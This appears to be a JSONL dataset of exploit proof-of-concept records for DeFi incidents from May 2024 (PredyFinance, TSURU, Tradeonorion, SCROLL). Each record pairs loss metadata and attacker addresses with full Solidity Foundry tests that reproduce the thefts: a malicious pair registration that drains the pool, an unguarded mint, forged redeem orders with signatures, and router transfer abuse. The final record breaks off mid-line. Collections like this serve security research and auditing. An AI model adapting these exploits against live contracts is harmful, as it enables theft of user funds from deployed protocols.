"type": "exploit_poc", "protocol": "PredyFinance", "date": "2024-05", "file_name": "PredyFinance_exp.sol", "attack_vector": null, "content_hash": "bdbb450f4647d99b", "collected_at": "2026-01-07T10:59:16.540783", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "$464K", "total_lost_usd": 464000.0, "attacker_address": "https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d008", "attack_contract": "https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c96246370149", "vulnerable_contract": "https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c", "attack_tx": "https://arbiscan.io/tx/0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "$464K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n USDC.approve(address(predyPool), type(uint256).max);\n WETH.approve(address(predyPool), type(uint256).max);\n\n //implement exploit code here\n AddPairLogic.AddPairParams memory addPairParam = AddPairLogic.AddPairParams({\n marginId: address(WETH),\n poolOwner: address(this),\n uniswapPool: address(0xC6962004f452bE9203591991D15f6b388e09E8D0),\n priceFeed: address(this),\n whitelistEnabled: false,\n fee: 0,\n assetRiskParams: Perp.AssetRiskParams({\n riskRatio: 100_000_001,\n debtRiskRatio: 0,\n rangeSize: 1000,\n rebalanceThreshold: 500,\n minSlippage: 1_005_000,\n maxSlippage: 1_050_000\n }),\n quoteIrmParams: InterestRateModel.IRMParams({\n baseRate: 10_000_000_000_000_000,\n kinkRate: 900_000_000_000_000_000,\n slope1: 500_000_000_000_000_000,\n slope2: 1_000_000_000_000_000_000\n }),\n baseIrmParams: InterestRateModel.IRMParams({\n baseRate: 10_000_000_000_000_000,\n kinkRate: 900_000_000_000_000_000,\n slope1: 500_000_000_000_000_000,\n slope2: 1_000_000_000_000_000_000\n })\n });\n uint256 pairId = predyPool.registerPair(addPairParam); // register pair, the owner of the pair is attack contract\n\n IPredyPool.TradeParams memory tradeParams =\n IPredyPool.TradeParams({pairId: pairId, vaultId: 0, tradeAmount: 0, tradeAmountSqrt: 0, extraData: \"\"});\n predyPool.trade(tradeParams, \"\"); // set the attack contract as the locker\n\n predyPool.withdraw(pairId, true, WETH.balanceOf(address(predyPool))); // withdraw the LP to the attacker\n predyPool.withdraw(pairId, false, USDC.balanceOf(address(predyPool))); // withdraw the LP to the attacker\n }", "has_exploit_code": true, "keyinfo_total_lost": "$464K", "keyinfo_attacker": "https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d008", "keyinfo_attack_contract": "https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c96246370149", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$464.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "PredyFinance Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"./../interface.sol\";\n\nimport \"../basetest.sol\";\n// @KeyInfo - Total Lost : 140K\n// Attacker :https://basescan.org/address/0x7A5Eb99C993f4C075c222F9327AbC7426cFaE386\n// Attack Contract :https://basescan.org/address/0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017\n// Vulnerable Contract :https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA\n// Attack Tx :https://basescan.org/tx/0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f62\n\n// @Info\n// Vulnerable Contract Code :https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA#code\n\n// @Analysis\n// Post-mortem : https://base.tsuru.wtf/usdtsuru-exploit-incident-report\n// Twitter Guy : https://x.com/shoucccc/status/1788941548929110416\n// Hacking God : https://x.com/SlowMist_Team/status/1788936928634834958\n\npragma solidity ^0.8.0;\n\ninterface IWrapper is IERC20 {\n function onERC1155Received(address, address from, uint256 id, uint256 amount, bytes calldata) external;\n}\n\n// Uniswap V3 Pool Interface\ninterface IUniswapV3Pool {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n function token0() external view returns (address);\n function token1() external view returns (address);\n}\n\ncontract TsuruExploit is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 14_279_784;\n\n //Uniswapv3 constants\n uint160 internal constant MIN_SQRT_RATIO = 4_295_128_739;\n uint160 internal constant MAX_SQRT_RATIO = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_342;\n address UNISWAP_V3_POOL = 0x913b1658dd001dFF93D3AF2A657523F1eed53917;\n\n //The vulernable contract\n address tsuruwrapper = 0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA;\n address weth = 0x4200000000000000000000000000000000000006;\n\n //Expected profits\n uint256 expectedTokens = 167_200_000 ether;\n uint256 expectedETH = 137.904209005799603676 ether;\n\n IWrapper wrapper = IWrapper(tsuruwrapper);\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n fundingToken = weth;\n }\n\n function testExploit() public balanceLog {\n //First mint tokens with vulerable on onERC1155Received function\n wrapper.onERC1155Received(address(0), address(this), 0, 418, new bytes(0));\n assertEq(wrapper.balanceOf(address(this)), expectedTokens, \"Not enough tokens\");\n\n //Swap the tokens to ETH via UniV3 pool\n _v3Swap(tsuruwrapper, weth, expectedTokens, address(this));\n assertEq(getFundingBal(), expectedETH, \"Not enough ETH\");\n }\n\n function _v3Swap(address tokenIn, address tokenOut, uint256 amount, address destTo) internal {\n if (amount == 0) {\n return;\n }\n bool zeroForOne = tokenIn < tokenOut;\n uint160 sqrt = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;\n IUniswapV3Pool(UNISWAP_V3_POOL).swap(\n destTo, zeroForOne, int256(amount), sqrt, zeroForOne ? bytes(\"1\") : bytes(\"\")\n );\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n require(msg.sender == address(UNISWAP_V3_POOL), \"Invalid caller\");\n bool zeroForOne = data.length > 0;\n address tokenOut = zeroForOne\n ? IUniswapV3Pool(UNISWAP_V3_POOL).token0()\n : IUniswapV3Pool(UNISWAP_V3_POOL).token0() == weth ? tsuruwrapper : weth;\n\n uint256 amountOut = uint256(zeroForOne ? amount0Delta : amount1Delta);\n\n IERC20(tokenOut).transfer(msg.sender, amountOut);\n }\n}\n", "type": "exploit_poc", "protocol": "TSURU", "date": "2024-05", "file_name": "TSURU_exp.sol", "attack_vector": null, "content_hash": "4b5c9e53b951cf50", "collected_at": "2026-01-07T10:59:16.540849", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "140K", "total_lost_usd": 140000.0, "attacker_address": "https://basescan.org/address/0x7A5Eb99C993f4C075c222F9327AbC7426cFaE386", "attack_contract": "https://basescan.org/address/0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017", "vulnerable_contract": "https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA", "attack_tx": "https://basescan.org/tx/0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f62", "postmortem_url": "https://base.tsuru.wtf/usdtsuru-exploit-incident-report", "twitter_url": "https://x.com/shoucccc/status/1788941548929110416", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "140K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //First mint tokens with vulerable on onERC1155Received function\n wrapper.onERC1155Received(address(0), address(this), 0, 418, new bytes(0));\n assertEq(wrapper.balanceOf(address(this)), expectedTokens, \"Not enough tokens\");\n\n //Swap the tokens to ETH via UniV3 pool\n _v3Swap(tsuruwrapper, weth, expectedTokens, address(this));\n assertEq(getFundingBal(), expectedETH, \"Not enough ETH\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "140K", "keyinfo_attacker": "https://basescan.org/address/0x7A5Eb99C993f4C075c222F9327AbC7426cFaE386", "keyinfo_attack_contract": "https://basescan.org/address/0xa2209b48506c4e7f3a879ec1c1c2c4ee16c2c017", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x75Ac62EA5D058A7F88f0C3a5F8f73195277c93dA", "keyinfo_attack_tx": "https://basescan.org/tx/0xe63a8df8759f41937432cd34c590d85af61b3343cf438796c6ed2c8f5b906f62", "analysis_postmortem": "https://base.tsuru.wtf/usdtsuru-exploit-incident-report", "analysis_twitter": "https://x.com/shoucccc/status/1788941548929110416", "funds_lost_formatted": "$140.0K", "content_richness_score": 7.87, "quality_estimate": "medium", "title": "TSURU Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~645K\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x660837a1640dd9cc0561ab7ff6c85325edebfa17d8b11a3bb94457ba6dcae18c\n// Attacker : https://bscscan.com/address/0x51177db1ff3b450007958447946a2eee388288d2\n// Attack Contract : https://bscscan.com/address/0xf8bfac82bdd7ac82d3aeec98b9e1e73579509db6\n// GUY : https://x.com/MetaSec_xyz/status/1796008961302258001\n\ninterface Routers {\n function swapCompact() external payable returns (uint256);\n}\n\nlibrary LibAtomic {\n struct LockOrder {\n address sender;\n uint64 expiration;\n address asset;\n uint64 amount;\n uint24 targetChainId;\n bytes32 secretHash;\n }\n\n struct LockInfo {\n address sender;\n uint64 expiration;\n bool used;\n address asset;\n uint64 amount;\n uint24 targetChainId;\n }\n\n struct ClaimOrder {\n address receiver;\n bytes32 secretHash;\n }\n\n struct RedeemOrder {\n address sender;\n address receiver;\n address claimReceiver;\n address asset;\n uint64 amount;\n uint64 expiration;\n bytes32 secretHash;\n bytes signature;\n }\n}\n\nlibrary MarginalFunctionality {\n // We have the following approach: when liability is created we store\n // timestamp and size of liability. If the subsequent trade will deepen\n // this liability or won't fully cover it timestamp will not change.\n // However once outstandingAmount is covered we check whether balance on\n // that asset is positive or not. If not, liability still in the place but\n // time counter is dropped and timestamp set to `now`.\n struct Liability {\n address asset;\n uint64 timestamp;\n uint192 outstandingAmount;\n }\n\n enum PositionState {\n POSITIVE,\n NEGATIVE, // weighted position below 0\n OVERDUE, // liability is not returned for too long\n NOPRICE, // some assets has no price or expired\n INCORRECT // some of the basic requirements are not met: too many liabilities, no locked stake, etc\n\n }\n\n struct Position {\n PositionState state;\n int256 weightedPosition; // sum of weighted collateral minus liabilities\n int256 totalPosition; // sum of unweighted (total) collateral minus liabilities\n int256 totalLiabilities; // total liabilities value\n }\n\n // Constants from Exchange contract used for calculations\n struct UsedConstants {\n address user;\n address _oracleAddress;\n address _orionTokenAddress;\n uint64 positionOverdue;\n uint64 priceOverdue;\n uint8 stakeRisk;\n uint8 liquidationPremium;\n }\n}\n\ninterface VulnContract {\n function depositAssetTo(address assetAddress, uint112 amount, address account) external;\n function lockStake(\n uint64 amount\n ) external;\n function redeemAtomic(LibAtomic.RedeemOrder calldata order, bytes calldata secret) external;\n function getLiabilities(\n address user\n ) external view returns (MarginalFunctionality.Liability[] memory liabilitiesArray);\n function requestReleaseStake() external;\n function getBalances(\n address[] memory assetsAddresses,\n address user\n ) external view returns (int192[] memory balances);\n function withdrawTo(address assetAddress, uint112 amount, address to) external;\n}\n\ncontract ContractTest is Test {\n Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 ORN = IERC20(0xe4CA1F75ECA6214393fCE1C1b316C237664EaA8e);\n IERC20 XRP = IERC20(0x1D2F0da169ceB9fC7B3144628dB156f3F6c60dBE);\n Uni_Pair_V2 constant pair = Uni_Pair_V2(0xC9807E3476d81CFb769122eD75EE4783eF9c2035);\n IPancakeRouter Router = IPancakeRouter(payable(0x8228A4aD192d5D82189afd6e194f65edb8c76a41));\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n VulnContract vulnContract = VulnContract(0xe9d1D2a27458378Dd6C6F0b2c390807AEd2217Ca);\n address attacker;\n uint256 public counter;\n address public alice;\n uint256 private signerPrivateKey;\n uint256 private alicePk;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 39_104_878);\n deal(address(BUSDT), address(this), 0);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Begin] Attacker ORN balance before exploit\", ORN.balanceOf(address(this)), 8);\n emit log_named_decimal_uint(\"[Begin] Attacker BNB balance before exploit\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[Begin] Attacker XRP balance before exploit\", XRP.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Begin] Attacker BUSDT balance before exploit\", BUSDT.balanceOf(address(this)), 18);\n console.log(\"==============\");\n attack();\n }\n\n function attack() public {\n // Step 1\n address[] memory add = new address[](1);\n add[0] = address(ORN);\n (alice, alicePk) = makeAddrAndKey(\"alice\");\n deal(address(ORN), address(alice), 10_000_000);\n deal(address(BUSDT), address(alice), 1 ether);\n deal(address(WBNB), address(alice), 0.005 ether);\n vm.startPrank(alice);\n\n // Step 2\n BUSDT.approve(address(vulnContract), type(uint192).max);\n\n vulnContract.depositAssetTo(address(BUSDT), 1 ether, address(alice));\n\n ORN.approve(address(vulnContract), type(uint192).max);\n\n vulnContract.depositAssetTo(address(ORN), 10_000_000, address(alice));\n\n vulnContract.lockStake(10_000_000);\n\n //Step 3\n signerPrivateKey = 123_456;\n attacker = vm.addr(signerPrivateKey);\n bytes memory hash_1 = abi.encodePacked(\"test\");\n LibAtomic.RedeemOrder memory order_1 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(attacker),\n claimReceiver: address(attacker),\n asset: address(ORN),\n amount: 10_000_000,\n expiration: 3_433_733_152_542,\n secretHash: keccak256(abi.encodePacked(\"test\")),\n signature: hex\"7eb28027e17378185c859be36dfe518ecdb6bd004bb7179089656c70bc017680680a14257e7d638e2b98d6ffcc8a4577decb9f47568e62040ea8da9b72717fb91b\"\n });\n\n vulnContract.redeemAtomic(order_1, hash_1);\n\n //Step 3.1\n\n vulnContract.requestReleaseStake();\n bytes memory hash_2 = abi.encodePacked(\"test_1\");\n LibAtomic.RedeemOrder memory order_2 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(attacker),\n claimReceiver: address(attacker),\n asset: address(ORN),\n amount: 10_000_000,\n expiration: 3_433_733_152_542,\n secretHash: keccak256(abi.encodePacked(\"test_1\")),\n signature: hex\"319ba837db29aba1f3a2ad365d2714dd83238e1393d6a7b033927faa53b57ba27168a7ebf9ac04512df3f73644b2716922f528eabc08cac8bb800a00108f58671b\"\n });\n\n vulnContract.redeemAtomic(order_2, hash_2);\n\n //Step 3.2\n\n ORN.approve(address(vulnContract), 9000 ether);\n deal(address(ORN), address(alice), 20_000_000);\n vulnContract.depositAssetTo(address(ORN), 20_000_000, address(alice));\n vulnContract.lockStake(10_000_000);\n\n //Step 3.3\n\n bytes memory hash_3 = abi.encodePacked(\"test_2\");\n LibAtomic.RedeemOrder memory order_3 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(attacker),\n claimReceiver: address(attacker),\n asset: address(ORN),\n amount: 10_000_000,\n expiration: 3_433_733_152_542,\n secretHash: keccak256(abi.encodePacked(\"test_2\")),\n signature: hex\"42993d5595f081871ae473187ef75a479994926734896dbeb97df0ef4fb977a23b95da6d8850e1f425cf4118c6bac8ae884cbad80abede67baee75d75beb7da11b\"\n });\n\n vulnContract.redeemAtomic(order_3, hash_3);\n\n //Step 3.4\n\n vulnContract.requestReleaseStake();\n bytes memory hash_4 = abi.encodePacked(\"test_3\");\n LibAtomic.RedeemOrder memory order_4 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(attacker),\n claimReceiver: address(attacker),\n asset: address(ORN),\n amount: 10_000_000,\n expiration: 3_433_733_152_542,\n secretHash: keccak256(abi.encodePacked(\"test_3\")),\n signature: hex\"bee18780e48e8c8d9b39ebe96df3556ba217b956d5be8db2c5008289e3d213cd7faaf3031ecb438b8f5fa8008593fe88d0d9d8f92d81d96746957fc5c152a7ea1c\"\n });\n\n vulnContract.redeemAtomic(order_4, hash_4);\n vm.stopPrank();\n\n //Step 3.5\n //End (Start Attack)\n Pool.flash(address(this), 4_000_000 ether, 0, \"0x123\");\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n BUSDT.approve(address(vulnContract), type(uint256).max);\n vulnContract.depositAssetTo(address(BUSDT), 4_000_000 ether, address(attacker));\n\n bytes memory Attackhash = abi.encodePacked(\"attack\");\n LibAtomic.RedeemOrder memory attackorder = LibAtomic.RedeemOrder({\n sender: address(attacker),\n receiver: address(alice),\n claimReceiver: address(alice),\n asset: address(ORN),\n amount: 196_375_601_599_999,\n expiration: 3_433_740_589_266,\n secretHash: keccak256(abi.encodePacked(\"attack\")),\n signature: hex\"c44429a5ff5ae246f407058156120f1febebfb0cc1e3e35d9ee845ba12c998d369fe6c97b343eb15fefc2cc28faf38509623fdb630fdd1d3cb6f637f8839562a1b\"\n });\n\n vulnContract.redeemAtomic(attackorder, Attackhash);\n\n //(attack-BUSD)\n\n bytes memory Attackhash_2 = abi.encodePacked(\"attack-2\");\n LibAtomic.RedeemOrder memory attackorder_2 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(this),\n claimReceiver: address(this),\n asset: address(BUSDT),\n amount: 401_984_468_607_796,\n expiration: 3_433_740_590_656,\n secretHash: keccak256(abi.encodePacked(\"attack-2\")),\n signature: hex\"936624bf8c31c3f55d1e623ac3cc0360e1968daf3c04efab3292d45ebe3083e367fdeeea04183e441e75255d4201f3dadb05d923260d9bb202374242b4eeaaae1b\"\n });\n\n vulnContract.redeemAtomic(attackorder_2, Attackhash_2);\n\n vulnContract.withdrawTo(address(BUSDT), 4_019_844_686_077_960_000_000_000, address(this));\n\n //(attack-ORN)\n\n bytes memory Attackhash_3 = abi.encodePacked(\"attack-3\");\n LibAtomic.RedeemOrder memory attackorder_3 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(this),\n claimReceiver: address(this),\n asset: address(ORN),\n amount: 49_892_192_920_826,\n expiration: 3_433_740_591_490,\n secretHash: keccak256(abi.encodePacked(\"attack-3\")),\n signature: hex\"f90bfb2eb2870ded343c7553e656ea7512464fda152f31e5938afc5e75eb39387a65e05b89821f190e75acca13937c38c4fe88282f95f57e3dc4c810e63c5d411b\"\n });\n\n vulnContract.redeemAtomic(attackorder_3, Attackhash_3);\n\n vulnContract.withdrawTo(address(ORN), 49_892_192_920_826, address(this));\n\n emit log_named_decimal_uint(\"[End] Attacker ORN balance after exploit\", ORN.balanceOf(address(this)), 8);\n\n //(attack-BNB)\n\n bytes memory Attackhash_4 = abi.encodePacked(\"attack-4\");\n LibAtomic.RedeemOrder memory attackorder_4 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(this),\n claimReceiver: address(this),\n asset: address(0x0000000000000000000000000000000000000000),\n amount: 7_989_615_974,\n expiration: 3_433_740_592_082,\n secretHash: keccak256(abi.encodePacked(\"attack-4\")),\n signature: hex\"ba218089103438fb970527519e0d0bc378dba137365d83eb1b33e45ec74755d230bc8ced929cf611788c7bb73adadb7fb5347c60bf43fff7c8cbd627ac7ecb301c\"\n });\n\n vulnContract.redeemAtomic(attackorder_4, Attackhash_4);\n\n vulnContract.withdrawTo(\n address(0x0000000000000000000000000000000000000000), 79_896_159_740_000_000_000, address(this)\n );\n\n emit log_named_decimal_uint(\"[End] Attacker BNB balance after exploit\", address(this).balance, 18);\n\n //(attack-XRP)\n\n bytes memory Attackhash_6 = abi.encodePacked(\"attack-5\");\n LibAtomic.RedeemOrder memory attackorder_5 = LibAtomic.RedeemOrder({\n sender: address(alice),\n receiver: address(this),\n claimReceiver: address(this),\n asset: address(XRP),\n amount: 6_244_473_033_100,\n expiration: 3_433_740_592_082,\n secretHash: keccak256(abi.encodePacked(\"attack-5\")),\n signature: hex\"1f881dd5cb69a03554e9abf25f8fac02c709f257214009641e27434ce7688d8f31bd7a76809f244c6c5344687f559724e929775b542ebe61a9449c6bcee387f71c\"\n });\n\n vulnContract.redeemAtomic(attackorder_5, Attackhash_6);\n\n vulnContract.withdrawTo(address(XRP), 62_444_730_331_000_000_000_000, address(this));\n\n BUSDT.transfer(msg.sender, 4_002_000 ether);\n emit log_named_decimal_uint(\n \"[End] Attacker XRP balance after exploit\", XRP.balanceOf(address(this)), XRP.decimals()\n );\n emit log_named_decimal_uint(\"[End] Attacker BUSDT balance after exploit\", BUSDT.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Tradeonorion", "date": "2024-05", "file_name": "Tradeonorion_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "0f8fb071182d6efd", "collected_at": "2026-01-07T10:59:16.540927", "_source": "postmortems", "chain": "bsc", "block_number": 39104878, "total_lost_raw": "~645K", "total_lost_usd": 645000.0, "attacker_address": "https://bscscan.com/address/0x51177db1ff3b450007958447946a2eee388288d2", "attack_contract": "https://bscscan.com/address/0xf8bfac82bdd7ac82d3aeec98b9e1e73579509db6", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "high", "severity_raw": "~645K", "category": "oracle-manipulation", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Begin] Attacker ORN balance before exploit\", ORN.balanceOf(address(this)), 8);\n emit log_named_decimal_uint(\"[Begin] Attacker BNB balance before exploit\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[Begin] Attacker XRP balance before exploit\", XRP.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Begin] Attacker BUSDT balance before exploit\", BUSDT.balanceOf(address(this)), 18);\n console.log(\"==============\");\n attack();\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x51177db1ff3b450007958447946a2eee388288d2", "keyinfo_attack_contract": "https://bscscan.com/address/0xf8bfac82bdd7ac82d3aeec98b9e1e73579509db6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$645.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "Tradeonorion Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~76 ETH\n// Attacker : 0x55Db954F0121E09ec838a20c216eABf35Ca32cDD\n// Attack Contract : 0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc\n// Vulnerable Contract : 0xe51D3dE9b81916D383eF97855C271250852eC7B7\n// Attack Tx : https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xe51D3dE9b81916D383eF97855C271250852eC7B7#code\n\n// @Analysis\n \n\ninterface IUniversalRouter {\n function execute(bytes calldata commands, bytes[] calldata input) external payable;\n}\n\ncontract ContractTest is Test {\n address public attacker = address(this);\n address public SCROLL_creater = 0x72C509B05A44c4Bb53373Efc2E76fB75FA8108a6;\n\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n Uni_Pair_V2 SCROLL_WETH_pair = Uni_Pair_V2(0xa718aa1b3f61C2b90A01aB244597816a7eE69fD2);\n IUniversalRouter universalRouter = IUniversalRouter(payable(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD));\n\n IERC20 constant SCROLL = IERC20(0xe51D3dE9b81916D383eF97855C271250852eC7B7);\n WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_971_611 - 1);\n vm.label(address(SCROLL), \"SCROLL\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(universalRouter), \"Universal Router\");\n vm.label(address(SCROLL_WETH_pair), \"Uniswap V2 pair SCROLL WETH\");\n vm.label(address(router), \"Uniswap V2 Router\");\n }\n\n function testExploit() public {\n SCROLL.balanceOf(address(universalRouter));\n bytes memory commands = hex\"05\";\n bytes[] memory inputs = new bytes[](1);\n inputs[0] = abi.encode(address(SCROLL), address(SCROLL_creater), uint256(1));\n universalRouter.execute(commands, inputs);\n SCROLL.balanceOf(address(universalRouter));\n\n address[] memory path = new address[](2);\n path[0] = address(SCROLL);\n path[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts = router.getAmountsOut(SCROLL.balanceOf(address(SCROLL_WETH_pair)) * 1e3, path);\n\n inputs[0] = abi.encode(address(SCROLL), address(SCROLL_WETH_pair), uint256(amounts[0]));\n universalRouter.execute(commands, inputs);\n\n SCROLL_WETH_pair.swap(amounts[1], 0, attacker, \"\");\n WETH.withdraw(WETH.balanceOf(attacker));\n\n inputs[0] = abi.encode(address(SCROLL), address(attacker), SCROLL.balanceOf(address(universalRouter)));\n universalRouter.execute(commands, inputs);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SCROLL", "date": "2024-05", "file_name": "SCROLL_exp.sol", "attack_vector": null, "content_hash": "76f217b2f7ad6e71", "collected_at": "2026-01-07T10:59:16.541018", "_source": "postmortems", "chain": "ethereum", "block_number": 19971611, "total_lost_raw": "~76 ETH", "total_lost_usd": 76.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~76 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n SCROLL.balanceOf(address(universalRouter));\n bytes memory commands = hex\"05\";\n bytes[] memory inputs = new bytes[](1);\n inputs[0] = abi.encode(address(SCROLL), address(SCROLL_creater), uint256(1));\n universalRouter.execute(commands, inputs);\n SCROLL.balanceOf(address(universalRouter));\n\n address[] memory path = new address[](2);\n path[0] = address(SCROLL);\n path[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts = router.getAmountsOut(SCROLL.balanceOf(address(SCROLL_WETH_pair)) * 1e3, path);\n\n inputs[0] = abi.encode(address(SCROLL), address(SCROLL_WETH_pair), uint256(amounts[0]));\n universalRouter.execute(commands, inputs);\n\n SCROLL_WETH_pair.swap(amounts[1], 0, attacker, \"\");\n WETH.withdraw(WETH.balanceOf(attacker));\n\n inputs[0] = abi.encode(address(SCROLL), address(attacker), SCROLL.balanceOf(address(universalRouter)));\n universalRouter.execute(commands, inputs);\n }\n\n fallback() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~76 ETH", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$76", "content_richness_score": 6.4, "quality_estimate": "medium", "title": "SCROLL Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~15 BNB\n// Attacker : 0xc468D9A3a5557BfF457586438c130E3AFbeC2ff9\n// Attack Contract : 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC\n// Vulnerable Contract : 0x9BDF251435cBC6774c7796632e9C80B233055b93\n// Attack Tx : https://bscscan.com/tx/0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x9BDF251435cBC6774c7796632e9C80B233055b93#code\n\ncontract ContractTest is Test {\n address public attacker = address(this);\n address public SATURN_creater = 0xc8Ce1ecDfb7be4c5a661DEb6C1664Ab98df3Cd62;\n address internal holderOfToken = 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC;\n\n Uni_Pair_V3 pancakeV3Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n IPancakePair pair_WBNB_SATURN = IPancakePair(0x49BA6c20D3e95374fc1b19D537884b5595AA6124);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IERC20 constant SATURN = 